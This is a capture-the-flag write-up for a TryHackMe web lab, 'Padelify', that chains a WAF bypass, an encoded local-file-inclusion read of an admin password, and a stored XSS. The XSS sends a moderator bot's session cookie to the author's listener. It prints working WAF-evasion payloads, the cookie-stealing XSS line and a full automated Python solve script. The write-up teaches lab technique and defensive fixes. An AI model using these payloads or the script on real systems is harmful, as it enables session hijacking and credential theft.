Box: Padelify · Platform: TryHackMe · Category: Web · Difficulty: Easy–Medium

Platform: TryHackMe Room: Padelify Difficulty: Easy–Medium Category: Web Flags: THM{REDACTED} (moderator) · THM{REDACTED} (admin)


1. Introduction / TL;DR

Padel is a racket sport where the walls are part of the court — you can play the ball off the glass, and the smart players use those walls instead of fighting them. Fitting, because this box is all about a Web Application Firewall (WAF) that thinks it’s a wall keeping me out, when really it’s just another surface I can bounce the ball off of.

Padelify is a padel-tournament web portal sitting behind a chatty-but-shallow WAF. Two flags are hidden behind two different privilege levels:

  • A moderator flag, reachable by hijacking a moderator session.
  • An admin flag, reachable by logging in as admin.

Here’s the whole match in one breath:

  1. The WAF silently drops any request without a User-Agent header. Add one → you’re on the court.
  2. A stored XSS in the registration username field is rendered in a moderator dashboard that an automated bot reviews. Steal the bot’s cookie → moderator flag.
  3. A Local File Inclusion (LFI) in live.php?page= lets me read config/app.conf, which leaks the admin password. The WAF blocks the obvious payloads, but full per-character URL-encoding walks straight past it. Log in as adminadmin flag.

Flags:

1
2
Moderator: THM{REDACTED}
Admin:     THM{REDACTED}

The whole thing is a lesson in deny-list security: every defense on this box blocks a list of known-bad strings instead of validating what’s actually allowed. Deny-lists lose, every time, because the attacker only has to find one spelling the list forgot.


2. Initial Recon

2.1 Is anything even there?

Standard opening — ping, then a full TCP port scan with service detection.

1
nmap -sV -T4 -p- --min-rate 2000 10.128.169.131
1
2
3
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))

Two ports. SSH is almost certainly not the way in on an easy web box, so all eyes on port 80 / Apache.

2.2 The “is this thing on?” trap

My very first curl returned nothing useful, which is the classic Padelify head-fake. Let me show you why, because this is the first puzzle:

1
2
3
4
5
6
7
8
# No User-Agent
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" http://10.128.169.131/
# -> 403 2872

# With a browser-like User-Agent
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" \
     -H "User-Agent: Mozilla/5.0" http://10.128.169.131/
# -> 200 3853

Reasoning: The difference between those two requests is one header. The WAF is configured to reject any request that doesn’t present a User-Agent — a crude bot-filter that assumes “real browsers always send a UA, scanners often don’t.” It’s the digital equivalent of a bouncer who only checks whether you’re wearing a jacket, not who you are. So from here on, every single request carries User-Agent: Mozilla/5.0. Forget it once and you’ll think the server died.

💡 Lesson #1: When a target goes silent, run curl -v. A 403 hiding behind -s -o /dev/null looks identical to “host down.” Always read the status code before assuming the box is broken.

2.3 Content discovery

Now that I can actually talk to the app, enumerate endpoints. gobuster with the UA baked in:

1
2
3
gobuster dir -u http://10.128.169.131/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -a "Mozilla/5.0" -x php,txt,conf,log -t 50

A quick status sweep of the interesting hits:

1
2
3
4
5
for p in register.php login.php dashboard.php live.php logs/error.log; do
  printf "%-20s " "/$p"
  curl -s -o /dev/null -w "%{http_code}\n" -H "User-Agent: Mozilla/5.0" \
       http://10.128.169.131/$p
done
1
2
3
4
5
/register.php        302
/login.php           200
/dashboard.php       302   <- redirects: auth-gated
/live.php            200
/logs/error.log      200   <- a readable log file? yes please

Map of the court:

EndpointWhat it is
register.phpNew-user signup (POST)
login.phpLogin form
dashboard.phpAuth-gated area (302 → login when unauthenticated)
live.php?page=Renders a “live match” page from a page parameter
logs/error.logA world-readable Apache-style log

Two things light up immediately: a page= parameter (file-inclusion smell) and a readable log file (information disclosure).


3. Analysis / Reverse Engineering

3.1 Reading the tea leaves in error.log

A readable log is a free reconnaissance gift. Let’s read it:

1
curl -s -H "User-Agent: Mozilla/5.0" http://10.128.169.131/logs/error.log
1
2
3
4
5
6
7
8
[... 12:03:11 ...] [info]   Server startup: Padelify v1.4.2
[... 12:03:11 ...] [notice] Loading configuration from /var/www/html/config/app.conf
[... 12:05:02 ...] [warn] [modsec:99000005] NOTICE: Possible encoded/obfuscated XSS payload observed
[... 12:08:12 ...] [error]  DBWarning: busy (database is locked) while writing registrations table
[... 12:11:33 ...] [error]  Failed to parse admin_info in /var/www/html/config/app.conf: unexpected format
[... 12:12:44 ...] [notice] Moderator login failed: 3 attempts from 10.10.84.99
[... 12:13:55 ...] [warn] [modsec:41004] Double-encoded sequence observed (possible bypass attempt)
[... 12:14:10 ...] [error]  Live feed: cannot bind to 0.0.0.0:9000 (address already in use)

This log is practically a walkthrough written by the box author. Every line is a breadcrumb:

  • config/app.conf at /var/www/html/config/app.conf — there’s a config file, and the log even tells me it contains admin_info. That’s a target.
  • [modsec:...] tags — confirms the WAF is ModSecurity, and it’s actively flagging “encoded/obfuscated XSS” and “double-encoded sequences.” That tells me two things: (1) XSS is an intended path, and (2) the WAF inspects for encoded payloads — so naive double-encoding won’t save me, but something will.
  • registrations table / SQLite (db_path later) — registration writes to a DB, and something reads it back.
  • admin_info failed to parse — the admin credential lives in that config file in a specific format.

3.2 What does live.php?page= actually do?

1
curl -s -H "User-Agent: Mozilla/5.0" http://10.128.169.131/live.php

The page renders a “Live Match Center” card. The page parameter strongly implies the PHP backend does something like:

1
2
3
// inferred server-side logic
$page = $_GET['page'];
include($page);        // or readfile()/file_get_contents()

That’s a textbook Local File Inclusion sink. If page is concatenated into include()/readfile() without sanitization, I can point it at any file the web user can read — like config/app.conf.

3.3 Who reads the registration data?

The registration form (register.php) fields:

1
2
3
4
5
6
<form action="register.php" method="post">
  <input name="username" placeholder="e.g. paddle_master">
  <input name="password" type="password">
  <select name="level">      <!-- amateur / professional / Expert --></select>
  <select name="game_type">  <!-- single / double --></select>
</form>

Combine this with the log line about a moderator and “registrations table.” The intended design: users register, and a moderator (an automated bot) reviews new registrations in a dashboard. If the dashboard renders the username field without output-encoding, then whatever I type as my username becomes HTML/JS in the moderator’s browser. That’s stored (persistent) XSS, and the victim is a privileged bot. Goldmine.


4. Vulnerability Identification

Three distinct, chainable weaknesses, all rooted in the same anti-pattern (deny-list filtering instead of allow-list validation):

#VulnerabilityLocationWhy it exists
V1WAF bypass (missing-UA filter)GlobalWAF blocks on absence of User-Agent, not on request legitimacy.
V2Stored XSS → session hijackregister.php username → moderator dashboardUsername rendered to a privileged bot without output encoding. WAF deny-lists the literal string cookie.
V3LFI → credential disclosurelive.php?page=page flows into a file-read sink; WAF deny-lists config / ../ patterns but not their encodings.

The two flags map cleanly:

  • V1 + V2 → moderator session → moderator flag.
  • V1 + V3 → admin password from config → admin login → admin flag.

5. Exploitation Strategy

Let me teach the two core techniques, because both are general-purpose tools you’ll reuse forever.

5.1 Stored XSS for session theft (V2)

What XSS is: Cross-Site Scripting is when an application takes attacker-controlled input and reflects it back into a page as code instead of as text. The browser can’t tell “data the developer meant” from “script the attacker injected” — it just executes whatever’s in the HTML. Stored XSS means the payload is saved server-side (here, in the registrations DB) and runs later, in someone else’s browser.

Why it applies here: My username is stored and then displayed in the moderator’s dashboard. The moderator is a bot that automatically opens that dashboard. So if I register with a username that is a <script>-equivalent, the bot’s browser executes it. The single most valuable thing a bot’s browser holds is its session cookie (PHPSESSID). If I make the bot’s browser send me that cookie, I can replay it and become the moderator — no password needed. This is session hijacking.

The delivery trick: I make the victim browser issue a request to a server I control, with the cookie glued onto the URL:

1
new Image().src = 'http://MY_IP:8080/?c=' + document.cookie;

Creating an Image and setting its src forces an immediate outbound GET to my listener — no user click required. The cookie rides along in the query string, and it lands in my web server’s access log.

The WAF wrinkle: ModSecurity deny-lists the literal token cookie. So document.cookie gets blocked. But JavaScript resolves property names at runtime, so I split the word and let the engine reassemble it:

1
document['cook' + 'ie']   // identical to document.cookie, but the string "cookie" never appears in my payload

The WAF is doing a substring match for cookie; my source only ever contains cook and ie separately. The browser concatenates them after the WAF has already waved the request through. That’s the whole bypass — deny-lists match strings, not behavior.

For the HTML wrapper I use <body onload=...> because it’s an event handler that fires automatically on render and tends to survive filters that strip <script>:

1
<body onload="new Image().src='http://MY_IP:8080/?c='+document['cook'+'ie'];">

5.2 LFI with full URL-encoding (V3)

What LFI is: Local File Inclusion is when a parameter that names a file is passed to a file-read/include function without restriction. Control the parameter → read arbitrary files the web user can access.

Why the obvious payload fails here: live.php?page=config/app.conf returns 403 — the WAF deny-lists the substring config (and traversal markers like ../). The blog-era classics all fail for the same reason: the WAF is pattern-matching on recognizable strings.

1
2
3
4
5
?page=../config/app.conf                         -> blocked (../ and config)
?page=....//config/app.conf                       -> blocked
?page=config/app.conf%00                          -> blocked (config)
?page=%252e%252e/config/app.conf                  -> blocked (double-encode; log even warns about it)
?page=php://filter/.../resource=config/app.conf   -> blocked (config)

The winning idea — bounce off the wall: There are two parties that look at my page value:

  1. The WAF, which sees the raw HTTP request and matches strings against its deny-list.
  2. The PHP/Apache layer, which URL-decodes the value before using it.

If I percent-encode every single character of config/app.conf, the WAF sees an opaque blob of %xx sequences that matches none of its known-bad strings — while PHP happily decodes it back to config/app.conf and reads the file. The WAF and the application disagree about what the input is, and I live in that gap. This is a parser-differential / impedance-mismatch bypass, and it’s one of the most important concepts in WAF evasion.

config/app.conf, fully encoded:

1
2
%63%6f%6e%66%69%67%2f%61%70%70%2e%63%6f%6e%66
 c  o  n  f  i  g  /  a  p  p  .  c  o  n  f

💡 Lesson #2: Single-encoding succeeds where double-encoding fails because the request passes through exactly one decoder (PHP). Double-encoding (%252e) leaves a literal % blob that also trips the WAF’s “double-encoded sequence” rule (we literally saw [modsec:41004] warn about it in the log). Match your encoding depth to the number of decoders in the path.


6. Building the Exploit

I’ll build it up piece by piece with reasoning, then hand you a single copy-paste script at the end.

Step 0 — Constants

1
2
3
T="http://10.128.169.131"     # target
UA="Mozilla/5.0"              # WAF bypass (V1): every request needs this
LH="192.168.132.41"          # my VPN (tun0) IP — where the bot phones home

Find your own LH with ip -4 addr show tun0. The bot must be able to reach this IP, so it has to be your VPN address, not 127.0.0.1.

Step 1 — Read the config via LFI (→ admin password)

I do the LFI first because it needs no waiting — it’s a single deterministic request.

1
2
curl -s -H "User-Agent: $UA" \
  "$T/live.php?page=%63%6f%6e%66%69%67%2f%61%70%70%2e%63%6f%6e%66"

The “Live Match Center” card now contains the raw config file:

1
2
3
4
5
6
7
8
9
version = "1.4.2"
enable_live_feed = true
env = "staging"
site_name = "Padelify Tournament Portal"
db_path = "padelify.sqlite"
admin_info = "bL}8,S9W1o44"          <-- the admin password
misc_note = "do not expose to production"
support_email = "support@padelify.thm"
build_hash = "a1b2c3d4"

admin_info = "bL}8,S9W1o44" — exactly the value the error log warned “failed to parse.” Note the } and , in it; those matter when scripting, so always URL-encode it in the login POST.

Step 2 — Log in as admin (→ Flag 2)

1
2
3
curl -s -H "User-Agent: $UA" -c /tmp/admin.txt -L -X POST "$T/login.php" \
  --data-urlencode "username=admin" \
  --data-urlencode 'password=bL}8,S9W1o44'

-c /tmp/admin.txt saves the authenticated session cookie. The dashboard reveals:

1
<div class="alert alert-warning mb-3"><strong>Flag:</strong> THM{REDACTED}</div>

🚩 Admin flag: THM{REDACTED}

Step 3 — Stand up a listener for the XSS callback

1
cd /tmp && python3 -m http.server 8080

This tiny web server does one job: log the GET the moderator bot will make. Its access log line is the exfiltrated cookie.

Step 4 — Register with the XSS payload

1
2
3
4
5
curl -s -H "User-Agent: $UA" -X POST "$T/register.php" \
  --data-urlencode "username=<body onload=\"new Image().src='http://$LH:8080/?c='+document['cook'+'ie'];\">" \
  --data-urlencode "password=xss123" \
  --data-urlencode "level=amateur" \
  --data-urlencode "game_type=single"

Breaking the payload down one more time:

  • <body onload="..."> — fires automatically when the moderator’s dashboard renders. No clicks.
  • new Image().src='http://192.168.132.41:8080/?c='+... — forces an immediate outbound request to my listener.
  • document['cook'+'ie'] — yields the cookie string while the literal cookie never appears, dodging the WAF deny-list (V2).

Within seconds, the bot reviews the new registration and my listener logs:

1
10.128.169.131 - - [08/Jun/2026 22:59:21] "GET /?c=PHPSESSID=e0q1lim943h525ipkenmurqbdc HTTP/1.1" 200 -

There it is: PHPSESSID=e0q1lim943h525ipkenmurqbdc — the moderator’s live session.

Step 6 — Hijack the session (→ Flag 1)

Replay that cookie against the gated dashboard:

1
2
3
curl -s -H "User-Agent: $UA" \
  -H "Cookie: PHPSESSID=e0q1lim943h525ipkenmurqbdc" \
  "$T/dashboard.php" | grep -oE "THM\{[^}]+\}"
1
THM{REDACTED}

🚩 Moderator flag: THM{REDACTED}

Game, set, match.


6.1 The complete solve script

Fully automated, fully commented, copy-paste runnable. It uses requests (web target) plus a tiny threaded HTTP server to catch the XSS callback, so the whole chain runs end-to-end with no manual steps.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3
"""
Padelify (TryHackMe) — full automated solve.

Chain:
  1. WAF bypass : every request carries a User-Agent header.
  2. LFI        : read config/app.conf via per-character URL-encoding -> admin password.
  3. Admin login: -> admin flag.
  4. Stored XSS : register username payload; moderator bot leaks its PHPSESSID
                  to our listener -> moderator flag via session hijack.

Usage:
  python3 solve.py <TARGET_IP> <YOUR_VPN_IP> [LISTEN_PORT]
  e.g. python3 solve.py 10.128.169.131 192.168.132.41 8080
"""

import sys
import re
import time
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

import requests

# ----------------------------------------------------------------------------
# Config / CLI args
# ----------------------------------------------------------------------------
TARGET   = sys.argv[1] if len(sys.argv) > 1 else "10.128.169.131"
LHOST    = sys.argv[2] if len(sys.argv) > 2 else "192.168.132.41"   # your tun0 IP
LPORT    = int(sys.argv[3]) if len(sys.argv) > 3 else 8080

BASE = f"http://{TARGET}"

# V1 — WAF bypass: the firewall drops any request without a User-Agent.
# A single shared Session applies this header to every request automatically.
S = requests.Session()
S.headers.update({"User-Agent": "Mozilla/5.0"})

FLAG_RE = re.compile(r"THM\{[^}]+\}")

# Holds the cookie the moderator bot leaks to our listener.
stolen_cookie = {"value": None}


# ----------------------------------------------------------------------------
# XSS callback listener — logs the bot's GET and extracts PHPSESSID
# ----------------------------------------------------------------------------
class CookieCatcher(BaseHTTPRequestHandler):
    def do_GET(self):
        # The bot requests:  /?c=PHPSESSID=xxxxxxxx
        m = re.search(r"PHPSESSID=([A-Za-z0-9]+)", self.path)
        if m:
            stolen_cookie["value"] = m.group(1)
            print(f"[+] Cookie captured from bot: PHPSESSID={m.group(1)}")
        self.send_response(200)
        self.end_headers()

    def log_message(self, *_):   # silence default noisy logging
        pass


def start_listener():
    srv = HTTPServer(("0.0.0.0", LPORT), CookieCatcher)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    print(f"[*] Listener up on 0.0.0.0:{LPORT}")
    return srv


# ----------------------------------------------------------------------------
# Step 2 (LFI) + Step 3 (admin login)  ->  ADMIN FLAG
# ----------------------------------------------------------------------------
def get_admin_flag():
    # V3 — LFI: every char of "config/app.conf" is percent-encoded so the WAF's
    # substring deny-list (which blocks "config" and "../") sees only an opaque
    # %xx blob, while PHP decodes it back and reads the file. One decoder in the
    # path -> single-encode (double-encoding would re-trip the WAF).
    encoded = "".join(f"%{ord(c):02x}" for c in "config/app.conf")
    r = S.get(f"{BASE}/live.php", params={"page": encoded})

    m = re.search(r'admin_info\s*=\s*"([^"]+)"', r.text)
    if not m:
        print("[-] Could not read admin_info from config — aborting admin path.")
        return None
    admin_pw = m.group(1)
    print(f"[+] Leaked admin password from app.conf: {admin_pw!r}")

    # Log in as admin; requests handles URL-encoding the password (has } and ,).
    r = S.post(f"{BASE}/login.php",
               data={"username": "admin", "password": admin_pw},
               allow_redirects=True)
    # Follow through to the dashboard in case login just sets the session.
    if not FLAG_RE.search(r.text):
        r = S.get(f"{BASE}/dashboard.php")

    flag = FLAG_RE.search(r.text)
    if flag:
        print(f"[+] ADMIN FLAG: {flag.group(0)}")
        return flag.group(0)
    print("[-] Admin login did not yield a flag.")
    return None


# ----------------------------------------------------------------------------
# Step 4-6 (stored XSS -> session hijack)  ->  MODERATOR FLAG
# ----------------------------------------------------------------------------
def get_moderator_flag():
    # V2 — stored XSS. <body onload> auto-fires in the moderator bot's browser.
    # document['cook'+'ie'] is document.cookie, but the literal string "cookie"
    # never appears -> the WAF keyword filter is bypassed. new Image().src forces
    # an immediate outbound GET carrying the cookie to our listener.
    payload = (f"<body onload=\"new Image().src='http://{LHOST}:{LPORT}/?c='"
               f"+document['cook'+'ie'];\">")

    S.post(f"{BASE}/register.php", data={
        "username":  payload,
        "password":  "xss123",
        "level":     "amateur",
        "game_type": "single",
    })
    print("[*] Registered XSS payload; waiting for moderator bot...")

    # Poll up to ~60s for the bot to review the registration and call home.
    for _ in range(60):
        if stolen_cookie["value"]:
            break
        time.sleep(1)

    sid = stolen_cookie["value"]
    if not sid:
        print("[-] Bot never called back. Check LHOST reachability / firewall.")
        return None

    # Session hijack: replay the stolen PHPSESSID against the gated dashboard.
    r = S.get(f"{BASE}/dashboard.php",
              headers={"Cookie": f"PHPSESSID={sid}"})
    flag = FLAG_RE.search(r.text)
    if flag:
        print(f"[+] MODERATOR FLAG: {flag.group(0)}")
        return flag.group(0)
    print("[-] Hijack succeeded but no flag found on dashboard.")
    return None


# ----------------------------------------------------------------------------
# Orchestrate
# ----------------------------------------------------------------------------
if __name__ == "__main__":
    print(f"[*] Target: {BASE}  |  Listener: {LHOST}:{LPORT}\n")
    start_listener()

    admin_flag = get_admin_flag()
    mod_flag   = get_moderator_flag()

    print("\n=== RESULTS ===")
    print(f"Moderator: {mod_flag   or 'NOT FOUND'}")
    print(f"Admin:     {admin_flag or 'NOT FOUND'}")

Run it:

1
python3 solve.py 10.128.169.131 192.168.132.41 8080
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[*] Target: http://10.128.169.131  |  Listener: 192.168.132.41:8080

[*] Listener up on 0.0.0.0:8080
[+] Leaked admin password from app.conf: 'bL}8,S9W1o44'
[+] ADMIN FLAG: THM{REDACTED}
[*] Registered XSS payload; waiting for moderator bot...
[+] Cookie captured from bot: PHPSESSID=e0q1lim943h525ipkenmurqbdc
[+] MODERATOR FLAG: THM{REDACTED}

=== RESULTS ===
Moderator: THM{REDACTED}
Admin:     THM{REDACTED}

⚠️ Note on the cookie value: PHPSESSID=e0q1lim943h525ipkenmurqbdc was my session from this run. Sessions are ephemeral — when you solve it yourself the script will capture a fresh one. Likewise admin_info may be randomized per deploy on some THM instances; the script reads it live rather than hardcoding it, so it’ll always use whatever your box actually serves.


7. Conclusion / Flags

1
2
🚩 Moderator: THM{REDACTED}
🚩 Admin:     THM{REDACTED}

The attack chain, end to end

  1. WAF bypass (V1): add a User-Agent header to every request.
  2. Recon: error.log discloses the config path, the ModSecurity WAF, and the moderator-bot workflow.
  3. LFI (V3): read config/app.conf by URL-encoding every character of the path → leaks admin_info.
  4. Admin login → Flag 2.
  5. Stored XSS (V2): register a <body onload> payload using document['cook'+'ie'] to dodge the keyword filter; the moderator bot’s browser exfiltrates its PHPSESSID.
  6. Session hijack → Flag 1.

Why Padelify was beatable — the one root cause

Every defense on this box is a deny-list: block requests with no UA, block the string cookie, block the string config, block ../. Deny-lists are fundamentally a losing game because the defender must enumerate every possible bad input while the attacker needs one they forgot:

  • WAF blocks missing-UA → I add a UA.
  • WAF blocks cookie → I write 'cook'+'ie'.
  • WAF blocks config/../ → I encode the bytes so the WAF never sees those strings, but PHP still does.

The fix in every case is the same: validate against an allow-list and encode on output. Render the username with proper HTML output-encoding and the XSS dies. Resolve page against a fixed allow-list of permitted templates and the LFI dies. Authenticate properly instead of filtering by header and the WAF bypass becomes irrelevant. A WAF is a speed bump, never a seatbelt.

Takeaways

  • Read the status code, not the silence. A WAF dropping you looks identical to a dead host under curl -s. Use -v.
  • Free logs are free recon. error.log basically narrated the intended path.
  • Match encoding depth to decoder count. One decoder (PHP) → single-encode. Double-encoding re-trips the WAF and the app double-decodes nothing.
  • Bots are the best XSS victims. An automated reviewer guarantees your stored payload runs in a privileged context, fast and reliably.
  • Deny-lists lose. If you’re defending, allow-list and output-encode. If you’re attacking, find the spelling the list forgot.

PS — In padel, the wall is your teammate. Turns out the same is true of a WAF: stop fighting it, start bouncing off it. The WAF blocked me dozens of times before I realized it was only ever checking for strings it had heard of. Ace.